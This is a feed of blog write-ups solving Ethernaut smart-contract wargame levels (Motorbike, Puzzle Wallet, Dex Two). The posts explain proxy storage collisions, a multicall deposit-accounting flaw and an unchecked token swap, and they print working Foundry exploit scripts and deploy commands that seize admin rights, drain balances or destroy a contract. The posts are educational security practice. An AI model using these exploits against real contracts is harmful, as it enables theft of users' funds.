<li><code>Engine engineAddress</code> - This contains the address of the Engine, calculated using <code>vm.load(contract_address, slot_no)</code>. Since this will return a <code>bytes32</code> value and the address is 20 bytes, we need to convert it to store it into an address-type variable. That's why the extra <code>address(uint160(uint256()))</code> are being used. This can also be obtained from the console using <pre><code><span class="hljs-attribute">await</span> web<span class="hljs-number">3</span>.eth.getStorageAt(contract.address, '<span class="hljs-number">0</span>x<span class="hljs-number">360894</span>a<span class="hljs-number">13</span>ba<span class="hljs-number">1</span>a<span class="hljs-number">3210667</span>c<span class="hljs-number">828492</span>db<span class="hljs-number">98</span>dca<span class="hljs-number">3</span>e<span class="hljs-number">2076</span>cc<span class="hljs-number">3735</span>a<span class="hljs-number">920</span>a<span class="hljs-number">3</span>ca<span class="hljs-number">505</span>d<span class="hljs-number">382</span>bbc')
</code></pre></li>
<li><code>engineAddress.initialize()</code> - We are calling the <code>initialize()</code> function to become the upgrader. </li>
<li><code>console.log</code> - It is just used to make sure that we became the upgrader by logging the address to the console. </li>
<li><code>bytes memory encodedData</code> - This is the data that will be sent inside the <code>upgradeToAndCall()</code> method. </li>
<li><code>engineAddress.upgradeToAndCall</code> - Finally, we are making the call to upgrade the implementation contract. This function expects the implementation's address as the first parameter and the encoded data which contains the function signature to call while upgrading the contract as the second one. </li>
</ul>
<p>Once the call is made, the implementation contract will be changed to our deployed <code>Destructive</code> contract and the current implementation will make a <code>delegatecall()</code> to our contract's <code>killed()</code> function, destroying the contract. </p>
<p>Deploy the Destructive contract and execute the script using the following commands:</p>
<pre><code>forge create Destructive <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL
forge script ./script<span class="hljs-operator">/</span>level25.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><blockquote>
<p>Make sure to update the address of the Destructive contract in the exploit script. </p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662818524455/vvTt63V4U.png" alt="image.png" />
The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<ul>
<li>UUPS Proxies are definitely an upgrade from previous proxy patterns but a proper code audit should be done before deploying these implementations on the mainnet as even a tiny mistake by the developer could lead to the destruction of both the proxy and implementation contracts. </li>
<li>The caller context is important when storing state variables. </li>
<li>Business-critical functions such as the ones to upgrade contracts should always have access control modifiers. </li>
</ul>
<hr />
<h4 id="heading-references">References</h4>
<p>https://dev.to/nvn/ethernaut-hacks-level-25-motorbike-397g</p>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 24 - Puzzle Wallet]]></title><description><![CDATA[Objectives
The objective of this level is to become the admin of the proxy contract, PuzzleProxy. This level requires knowledge of how contracts are upgraded using proxy-based patterns and delegate calls. This is a really fun one. Let's dive in. 

An...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Thu, 08 Sep 2022 20:04:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662667438093/inuWnQfbn.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>The objective of this level is to become the admin of the proxy contract, PuzzleProxy. This level requires knowledge of how contracts are upgraded using proxy-based patterns and delegate calls. This is a really fun one. Let's dive in. </p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>This level consists of two contracts, a Proxy contract called PuzzleProxy and the logic/implementation contract called PuzzleWallet. So what is a proxy and implementation contract you ask? It's time to learn about upgradeable contracts. </p>
<h3 id="heading-upgradeable-contracts">Upgradeable Contracts</h3>
<p>Every transaction we do on Ethereum is immutable and can not be modified or updated. This is the advantage that makes the network secure and helps anyone on the network to verify and validate the transactions. Due to this limitation, developers face issues when updating their contract's code as it can not be modified once deployed on the blockchain. </p>
<p>To overcome this situation, upgradeable contracts were introduced. This deployment pattern consists of two contracts - A Proxy contract (Storage layer) and an Implementation contract (Logic layer). </p>
<p>In this architecture, the user interacts with the logic contract via the proxy contract and when there's a need to update the logic contract's code, the logic contract's address is updated in the proxy contract which allows the users to interact with the new logic contract. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662656819138/ZshcJZhkW.png" alt="image.png" /></p>
<p>There's something that should be noted when implementing an upgradeable pattern, the slot arrangement in both the contracts should be the same because the slots are mapped. It means that when the proxy contract makes a call to the implementation contract, the proxy's storage variables are modified and the call is made in the context of the proxy. 
This is where our exploitation starts. </p>
<hr />
<h2 id="heading-contract-analysis">Contract Analysis</h2>
<p>Let's take a look at the slot arrangement in both the contracts:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Slot #</td><td>PuzzleProxy</td><td>PuzzleWallet</td></tr>
</thead>
<tbody>
<tr>
<td>0</td><td>pendingAdmin</td><td>owner</td></tr>
<tr>
<td>1</td><td>admin</td><td>maxBalance</td></tr>
</tbody>
</table>
</div><p>Since we need to become the admin of the proxy, we need to overwrite the value in slot 1, i.e., either the <code>admin</code> or the <code>maxBalance</code> variable. </p>
<p>There are two functions that are modifying the value of <code>maxBalance</code>. They are:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(maxBalance <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Already initialized"</span>);
    maxBalance <span class="hljs-operator">=</span> _maxBalance;
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
...
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setMaxBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _maxBalance</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Contract balance is not 0"</span>);
    maxBalance <span class="hljs-operator">=</span> _maxBalance;
}
</code></pre>
<p>The <code>init()</code> function is making sure that the <code>maxBalance</code> is already 0 and then only allowing us to go through. This is impossible, so we'll look at the other function <code>setMaxBalance()</code>. </p>
<p>The function <code>setMaxBalance()</code> is only checking if the contract's balance is 0. Maybe we can somehow influence this? </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addToWhitelist</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> addr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Not the owner"</span>);
    whitelisted[addr] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This function <code>setMaxBalance()</code> is also making sure that our user is whitelisted using a modifier <code>onlyWhitelisted</code> and to be whitelisted, we will be calling a function <code>addToWhitelist()</code> with our wallet's address but there's a validation happening in here that checks if our <code>msg.sender</code> is the <code>owner</code>. </p>
<p>To become the owner, we need to write into slot 0, i.e., either <code>owner</code> or <code>pendingAdmin</code>. From the contract PuzzleProxy, we can see that the function <code>proposeNewAdmin()</code> is external and is setting the value for <code>pendingAdmin</code>. Since the slots are replicated, if we call this function, we will automatically become the owner of the PuzzleWallet contract because both the variables are stored in slot 0 of the contracts. </p>
<p>Let us now look at the function influencing the contract's balance and allowing us to drain the balance. </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">execute</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> value, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> value, <span class="hljs-string">"Insufficient balance"</span>);
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>].sub(value);
    (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> to.<span class="hljs-built_in">call</span>{ <span class="hljs-built_in">value</span>: value }(data);
    <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Execution failed"</span>);
}
</code></pre>
<p>The <code>execute()</code> function is the only one that is making a <code>call()</code> to the address <code>to</code> with some <code>value</code> but this has a validation that checks that the <code>msg.sender</code> has sufficient balance to call the function. So how do we exploit this function?</p>
<p>We have to manipulate the contract into thinking that we have more balance than what we actually do. If we can do that, we will be able to call the <code>execute()</code> function with a value for balance that is equal to or more than the contract's balance and this will allow us to withdraw all the balance from the contract. </p>
<p>Now we have to look for any function which is manipulating our balance values. We see the <code>deposit()</code> function is allowing a user to deposit some amount into the contract and also adding the deposited amount into our <code>balances</code> mapping. But, if we call the <code>deposit()</code> normally, it will add the balance in both places (balances mapping and the contract). To exploit this function, we need to send Ether only once but increase value in our balances mapping twice. So how do we do that?</p>
<p>Now comes a function called <code>multicall()</code>. This function basically does what its name says. It allows you to call a function multiple times in a single transaction, saving some gas. Let's study its code:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">multicall</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">calldata</span> data</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title">onlyWhitelisted</span> </span>{
    <span class="hljs-keyword">bool</span> depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> data.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _data <span class="hljs-operator">=</span> data[i];
        <span class="hljs-keyword">bytes4</span> selector;
        <span class="hljs-keyword">assembly</span> {
            selector <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-built_in">add</span>(  , <span class="hljs-number">32</span>))
        }
        <span class="hljs-keyword">if</span> (selector <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.deposit.<span class="hljs-built_in">selector</span>) {
            <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>depositCalled, <span class="hljs-string">"Deposit can only be called once"</span>);
            <span class="hljs-comment">// Protect against reusing msg.value</span>
            depositCalled <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        }
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">delegatecall</span>(data[i]);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Error while delegating call"</span>);
    }
}
</code></pre>
<p>Maybe we can make use of this function to call <code>deposit()</code> multiple times in a single transaction therefore we will be supplying Ether only once but our balances might increase in multiples. But wait! There's another validation in here. </p>
<p>There's a flag called <code>depositCalled</code> which is set to false initially. The function is extracting the function selector from the data passed to it and checking if it is <code>deposit()</code> and changing the value of the flag <code>depositCalled</code>. This is essentially preventing <code>deposit()</code> from being called multiple times through <code>multicall()</code>. We need to bypass this. </p>
<p>The contract's current balance is 0.001. We can check using <code>await getBalance(instance)</code> from the console. </p>
<p>If we are able to call <code>deposit()</code> twice with 0.001 Ether in the same transaction, it'll mean that we are supplying 0.001 Ether only once and our player's balance (balances[player]) will go from 0 to 0.002 but in actuality, since we did it in the same transaction, our deposited amount will still be 0.001. </p>
<p>Therefore, the total balance of the contract now will still be 0.002, but due to the accounting error in <code>balances</code>, it'll think that it's 0.003 Ether. This will allow our player to call the <code>execute()</code> function because the statement <code>require(balances[msg.sender] &gt;= value) = (require(0.003 &gt;= 0.002)</code> will result in a success if we supply 0.002 Ether as <code>value</code> which will drain the contract. </p>
<p>What if, instead of calling <code>deposit()</code> directly with <code>multicall()</code>, we call two multicalls and within each <code>multicall()</code>, we call one <code>deposit()</code> (since the function <code>multicall()</code> takes an array)?</p>
<p>This won't affect the <code>depositCalled</code> since each <code>multicall()</code> will check their own <code>depositCalled</code> bool values. </p>
<p>Once we do this, we should be able to call the <code>execute()</code> to drain the contract and after that we should be able to call <code>setMaxBalance()</code> to set the value of <code>maxBalance</code> on slot 1, and therefore, setting the value for the proxy admin. </p>
<p>Phew! That was a long explanation. Let's write our theory into solidity code. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Let's take a look at our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level24.sol">exploit script</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">experimental</span> <span class="hljs-built_in">ABIEncoderV2</span>;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel24.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

    PuzzleWallet wallet <span class="hljs-operator">=</span> PuzzleWallet(<span class="hljs-number">0x7E069Cb68CE876D435b422652f86462F4A276145</span>);
    PuzzleProxy px <span class="hljs-operator">=</span> PuzzleProxy(<span class="hljs-number">0x7E069Cb68CE876D435b422652f86462F4A276145</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();

        <span class="hljs-comment">//creating encoded function data to pass into multicall</span>
        <span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">memory</span> depositSelector <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>[](<span class="hljs-number">1</span>);
        depositSelector[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(wallet.deposit.<span class="hljs-built_in">selector</span>);
        <span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">memory</span> nestedMulticall <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>[](<span class="hljs-number">2</span>);
        nestedMulticall[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(wallet.deposit.<span class="hljs-built_in">selector</span>);
        nestedMulticall[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSelector</span>(wallet.multicall.<span class="hljs-built_in">selector</span>, depositSelector);

        <span class="hljs-comment">// making ourselves owner of wallet</span>
        px.proposeNewAdmin(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        <span class="hljs-comment">//whitelisting our address</span>
        wallet.addToWhitelist(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        <span class="hljs-comment">//calling multicall with nested data stored above</span>
        wallet.multicall{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>}(nestedMulticall);
        <span class="hljs-comment">//calling execute to drain the contract</span>
        wallet.execute(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-number">0</span><span class="hljs-number">.002</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">""</span>);
        <span class="hljs-comment">//calling setMaxBalance with our address to become the admin of proxy</span>
        wallet.setMaxBalance(<span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>));
        <span class="hljs-comment">//making sure our exploit worked</span>
        console.log(<span class="hljs-string">"New Admin is : "</span>, px.admin());

        vm.stopBroadcast();
    }
}
</code></pre>
<ul>
<li>We have created two arrays that are storing the encoded function selectors. The array <code>nestedMulticall</code> is storing the call to <code>deposit()</code> at index 0 and a call to <code>multicall()</code> with <code>deposit()</code> function's selector passed as argument. This allows us to call deposit once using <code>nestedMulticall[0]</code> and then once more using <code>nestedMulticall[1]</code>. </li>
</ul>
<blockquote>
<p>We have to use <code>pragma experimental ABIEncoderV2;</code> otherwise the compilation will give an error related to dynamic nested arrays. </p>
</blockquote>
<ul>
<li>After this, we are making ourselves the owner of the wallet by setting the value of <code>pendingAdmin</code> in the proxy contract. </li>
<li>Calling the <code>addToWhitelist()</code> to whitelist our address. This will allow us to interact with other functions that have the <code>onlyWhitelisted</code> modifier. </li>
<li>Making a <code>multicall()</code> with a value of 0.001 Ether and the data stored above in the array. This will introduce the erroneous balance calculation in the contract. </li>
<li>Calling the <code>execute()</code> function to drain the contract. </li>
<li>And at last, we are calling the <code>setMaxBalance()</code> function to set the value of <code>maxBalance</code> in the wallet contract, and therefore <code>admin</code> in the proxy contract. </li>
</ul>
<p>The script can be executed using the following command:</p>
<pre><code>forge script ./script<span class="hljs-operator">/</span>level24.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662665678119/jue2DmFL-.png" alt="image.png" /></p>
<p>The new admin can be seen in the console log. The instance can now be submitted to finish the level.</p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<ul>
<li>Never leave business-critical functions without an access control modifier. </li>
<li>The arrangement of slots should be the same otherwise it might be possible to overwrite the variables on the same slots through either the proxy or the implementation contract. </li>
<li>Assembly should be used with caution as it overwrites most of the important solidity validations. </li>
<li>If there are critical functions depending on the contract's balance, functions related to balance update and Ether deposit and withdrawal should be carefully implemented with all the necessary input validations.  </li>
</ul>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://github.com/StErMi/foundry-ethernaut/blob/main/test/PuzzleWallet.t.sol</li>
<li>https://www.youtube.com/watch?v=toVc-iX-XAA</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 23 - Dex Two]]></title><description><![CDATA[Objectives
This level is similar to Level 22 - Dex with a small modification in the swap() function. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contract has a balance of ...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-23-dex-two</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-23-dex-two</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Tue, 06 Sep 2022 17:41:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662485861383/qizAn4cvA.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This level is similar to <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-22-dex">Level 22 - Dex</a> with a small modification in the <code>swap()</code> function. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contract has a balance of 100 tokens each.</p>
<p>To complete this level, we need to drain all the tokens from Dex Two (both token1 and token2). Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>Before going forward, I would highly recommend doing the <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-22-dex">Level 22 - Dex</a> before this one as I won't be going over the whole contract as that has been done previously. </p>
<p>Let's take a look at the vulnerable function - </p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">swap</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">from</span>, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(IERC20(<span class="hljs-keyword">from</span>).balanceOf(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> amount, <span class="hljs-string">"Not enough to swap"</span>);
    <span class="hljs-keyword">uint</span> swapAmount <span class="hljs-operator">=</span> getSwapAmount(<span class="hljs-keyword">from</span>, to, amount);
    IERC20(<span class="hljs-keyword">from</span>).transferFrom(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), amount);
    IERC20(to).approve(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), swapAmount);
    IERC20(to).transferFrom(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, swapAmount);
}
</code></pre>
<p>If we will compare the same function from the <a target="_blank" href="https://blog.dixitaditya.com/ethernaut-level-22-dex">previous level</a>, we will see that there's a line missing in this one which is -</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>((<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (<span class="hljs-keyword">from</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token2 <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> to <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token1), <span class="hljs-string">"Invalid tokens"</span>);
</code></pre>
<p>It is responsible for validating if the swapping is happening only for the two token addresses defined by the contract. Since this is absent from Dex Two, we are allowed to swap any tokens. Even the ones we create. This is what we have to do to drain the Dex Two.</p>
<hr />
<h2 id="heading-calculations">Calculations</h2>
<p>To exploit the Dex Two, here's what we have to do:</p>
<ul>
<li>Create our own ERC20 token and mint ourselves (<code>msg.sender</code>) 400 ZombieTokens (ZTN) (Name of our malicious token). </li>
<li>Send 100 ZTN to Dex Two so that the price ratio is balanced to 1:1 when swapping. </li>
<li>Approve the Dex to spend 300 of our ZTN. We'll need this to swap 100 token1 and 200 token2. This will be clearer once we see the balance table below. </li>
<li>Once all that is done, here's how the distribution of balance will be:</li>
</ul>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Dex Two</td><td></td><td></td><td>User</td><td></td><td></td></tr>
</thead>
<tbody>
<tr>
<td>token1</td><td>token2</td><td>ZTN</td><td>token1</td><td>token2</td><td>ZTN</td></tr>
<tr>
<td>100</td><td>100</td><td>100</td><td>10</td><td>10</td><td>300</td></tr>
</tbody>
</table>
</div><ul>
<li>Swap 100 ZTN with token1. This will drain all the token1 from the Dex Two. </li>
</ul>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Dex Two</td><td></td><td></td><td>User</td><td></td><td></td></tr>
</thead>
<tbody>
<tr>
<td>token1</td><td>token2</td><td>ZTN</td><td>token1</td><td>token2</td><td>ZTN</td></tr>
<tr>
<td>100</td><td>100</td><td>100</td><td>10</td><td>10</td><td>300</td></tr>
<tr>
<td>0</td><td>100</td><td>200</td><td>110</td><td>10</td><td>200</td></tr>
</tbody>
</table>
</div><ul>
<li>According to the formula in <code>get_swap_amount()</code>, to get all the token2 from the Dex, we need - <code>100 = (x * 100)/200</code> - <code>x = 200 ZTN</code>. Therefore, we need to swap 200 ZTN to get 100 token2. Once this is done, here's how the final balance table will look:</li>
</ul>
<blockquote>
<pre><code><span class="hljs-attribute">The</span> number of token<span class="hljs-number">2</span> to be returned = (amount of token<span class="hljs-number">1</span> to be swapped * token<span class="hljs-number">2</span> balance of the contract)/token<span class="hljs-number">1</span> balance of the contract.
</code></pre></blockquote>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Dex Two</td><td></td><td></td><td>User</td><td></td><td></td></tr>
</thead>
<tbody>
<tr>
<td>token1</td><td>token2</td><td>ZTN</td><td>token1</td><td>token2</td><td>ZTN</td></tr>
<tr>
<td>100</td><td>100</td><td>100</td><td>10</td><td>10</td><td>300</td></tr>
<tr>
<td>0</td><td>100</td><td>200</td><td>110</td><td>10</td><td>200</td></tr>
<tr>
<td>0</td><td>0</td><td>400</td><td>110</td><td>110</td><td>0</td></tr>
</tbody>
</table>
</div><p>Now it should be clear why we chose 400 ZTN to start with. Let's deploy our exploit code. </p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Let us first deploy our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/ERC20.sol">ZombieToken ERC20 contract</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ZombieToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> initialSupply</span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"ZombieToken"</span>, <span class="hljs-string">"ZTN"</span></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, initialSupply);
    }
}
</code></pre>
<ul>
<li>Deploy the contract using the following command and save the deployed token contract address. <pre><code>forge create ZombieToken <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-function"><span class="hljs-keyword">constructor</span>-<span class="hljs-title">args</span> 400</span>
</code></pre></li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662483911020/Jm7s88G1u.png" alt="image.png" /></p>
<blockquote>
<p>The addresses used in the commands that follow below are:</p>
<ul>
<li>0xAFE3F881306476e9F6B88cFB224E66d5484c22C1 - ZombieToken - My malicious ERC20 token</li>
<li>0xEAce4b71CA1A128e8B562561f46896D55B9B0246 - My wallet address</li>
<li>0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5 - Ethernaut's instance of Dex Two</li>
</ul>
</blockquote>
<ul>
<li>Call the <code>balanceOf()</code> function with our user's address to make sure we received 400 ZTN:</li>
</ul>
